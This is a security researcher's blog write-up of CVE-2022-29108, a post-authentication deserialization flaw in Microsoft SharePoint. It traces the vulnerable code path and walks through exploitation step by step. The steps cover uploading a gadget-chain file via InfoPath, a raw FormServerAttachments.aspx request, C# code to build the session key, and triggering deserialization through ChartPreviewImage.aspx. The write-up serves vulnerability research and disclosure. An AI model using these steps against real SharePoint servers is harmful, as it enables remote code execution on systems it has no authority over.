Blog

New Wine in Old Bottle - Microsoft Sharepoint Post-Auth Deserialization RCE (CVE-2022-29108)

Introduction

Recently, I have had a some work which is related to Sharepoint, so I was learning on how to setup and debug old bugs of Sharepoint.

In February, there was a Deserialization bug CVE-2022-22005 (post-auth of course). There is already a detailed analysis blog post about that written by a Vietnamese guy (here). The blog is written with great enthusiasm and detail. I also rely on the details in that blog to setup and debug. And because the bug written in this article will be related to it, I recommend you read through the article above once to easily understand this article!

image.png

As mentioned above, CVE-2022-29108 is very closely related to CVE-2022-22005. Both are similar in terms of operation, entrypoint, and patching. And pretty sure it was found during the 1day analysis!

image.png

Environment Setup

The setup is completely based on the MS guide here

After the setup is completed, continue with the following steps Create Web App -> Create site collections

image.png

At first, I thought the bug CVE-2022-22005 worked with the default setup, but I discovered that it’s not true while debugging it! (Not sure if my setup is any different from everyone else?)

  • The first condition is that the “Self-Service Site Creation” feature is disabled by default, which means that a normal user with default config will not be able to create sub-sites ¯_(ツ)_ /¯

image.png

An example in ZDI’s blog post:

image.png

So if you want to work like in these old writeups, you must turn on the Self-Service Site Creation feature first.

  • The second condition is that CVE-2022-22005 works based on Sharepoint’s State-Service. This feature does not exist with a default setup. Here is an error warning that will be encountered in case the State-Service is not enabled:

image.png

Readers can refer to this article here on how to turn on this particular service or just use these commands:

#Create new "State Service" application
$StateService_application = New-SPStateServiceApplication -Name "State Service"

#Create DB for State Service Application
$StateService_applicationDB= New-SPStateServiceDatabase -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application

#Create proxy for State Service application
New-SPStateServiceApplicationProxy -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application -DefaultProxyGroup

Initialize-SPStateServiceDatabase -Identity $StateService_applicationDB

Analysis

Let’s review the sink of CVE-2022-22005 at ChartPreviewImage.loadChartImage():

image.png

this.sessionKey is obtained from Request[‘sk’]:

image.png

The above sessionKey will be used to get the binary data from the StateService via the CustomSessionState.FetchBinaryData(this.sessionKey) method:

image.png

To patch the CVE-2022-22005, they added a SerializationBinder to prevent arbitrary data deserialization:

image.png

In order to find a variation of this bug, I focused on the CustomSessionState.FetchBinaryData() method. This method is responsible for retrieving binary data from StateService. That means there must be an additional step to process this Binary Data after getting from memory, right?

Using the Analyze feature in dnSpy to find the places that call CustomSessionState.FetchBinaryData(), here is the result:

image.png

Let’s focus on the method call of ChartAdminPageBase.get_currentWorkingSet(). The content of this method is as follows:

image.png

image.png

With this.CustomSessionStateKey retrieved from Request[‘csk’]

The Binary Data is then retrieved from the StateService with this.CustomSessionStateKey, which is then passed directly to BinaryFormatter.Deserialize()

=> RCE

The call graph to ChartAdminPageBase.get_currentWorkingSet() is like this:

image.png

Including a method call from ChartPreviewImage.Render() (same entrypoint as the old bug CVE-2022-22005):

image.png

Full stacktrace:

ChartPreviewImage.Render()
   > ChartAdminPageBase.FetchFromCurrentWorkingSet()
        > ChartAdminPageBase.get_currentWorkingSet()
            > BinaryFormatter.Deserialize()

Exploitation

The exploit is exactly the same as CVE-2022-22005 described here. However, I still write down the details of each step in this article as a note for future reference!

  • Step 1: stored the payload

The first is to download and install Microsoft InfoPath at here.

Use Infopath to Create List and publish Form as follows:

image.png

image.png

image.png

After having created the List using Infopath, we can access and create New item using that List as follows:

image.png

In case of clicking New and receiving the following response, it means that State Service is not enabled in Sharepoint (I mentioned at the beginning of this post):

image.png

If we have enabled StateService, we will get the following page:

image.png

Upload a file in the Attachments section, with the main file’s content is the gadgetchain that will be used to deserialize, here I use the TypeConfuseDelegate gadget to get RCE (after uploading, just leave the file there, don’t click Save!):

image.png

Go back to burpsuite with the file upload request above, in the Response section, find the file name you just uploaded. Right next to it will be a string of the form “hash_hash”, let’s call itemId, save this for later use for triggering vulnerability!

image.png

  • Step 2: Get the payload session id

As mentioned in the writeup of CVE-2022-22005 and CVE-2021-27076, we use the same method to store binary Session data and reuse it later.

The idea of this re-play method is based on Infopath’s file upload processing!

When a file is uploaded to the server via the Infopath list as in Step 1 above, Sharepoint will cache content of the file into an attachmentId and the metadata of this file (including attachmentId) into another itemId and then return that itemId to the user.

It can be described by pictures as follows:

Untitled Diagram.drawio (1).png

The request to FormServerAttachments.aspx is as follows:

GET /_layouts/15/formserverattachments.aspx?fid=1&sid=AF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089&key=BAIkY2UyMTcyNmQtNDNmZi00MWEzLTkyMDQtOTgxYTE5ZTc1ODI3QWU5ZjUxYmM2YTgxNzRiNmViMWM3Y2ZhZTY3NmJlNGFkX2UzOWQwYzgyZDAyZjRhYzc4NjQ5NWE5OTA1NjJkYzg0gAhF&dl=ip HTTP/1.1
Host: sharepoint
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: _InfoPath_CanaryValueAF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089; 
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: Keep-Alive

With sid retrieved from InfoPath_CanaryValue:

AF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089

And with the key param, I use the following code to get it, with _serializedKey as itemId returned after uploading the file in Step 1:

static void Main()
        {
            
            MemoryStream ms = new MemoryStream();
            EnhancedBinaryWriter enhancedBinaryWriter = new EnhancedBinaryWriter(ms);
            enhancedBinaryWriter._state = 4;
            enhancedBinaryWriter._dataType = 2;
            enhancedBinaryWriter._itemId = "ce21726d-43ff-41a3-9204-981a19e75827";
            enhancedBinaryWriter._serializedKey = "e9f51bc6a8174b6eb1c7cfae676be4ad_e39d0c82d02f4ac786495a990562dc84";
            enhancedBinaryWriter._size = 1024;
            enhancedBinaryWriter._version = 69;
            enhancedBinaryWriter.Serialize(enhancedBinaryWriter);
            var base64String = Convert.ToBase64String(ms.ToArray());
            Console.WriteLine(base64String);
        }

(For more details about this part, readers can refer to the blog writeup of CVE-2022-22005, the author wrote very clearly about this step, so I will not describe it further!)

The following image is the Response of the FormServerAttachments.aspx request:

image.png

At the end of the Response, it will contain a string of the form “hash1_hash2”, the first hash will match the first hash of itemId which we just passed in.

This is the attachmentId, or also the payload Id/session Key, we will use this attachmentId to pass into ChartPreviewImage.aspx and trigger Deserialization:

image.png

image.png

Here is the Step by step demo of the PoC:

If you prefer to read the Vietnamese version, you can read it here.

References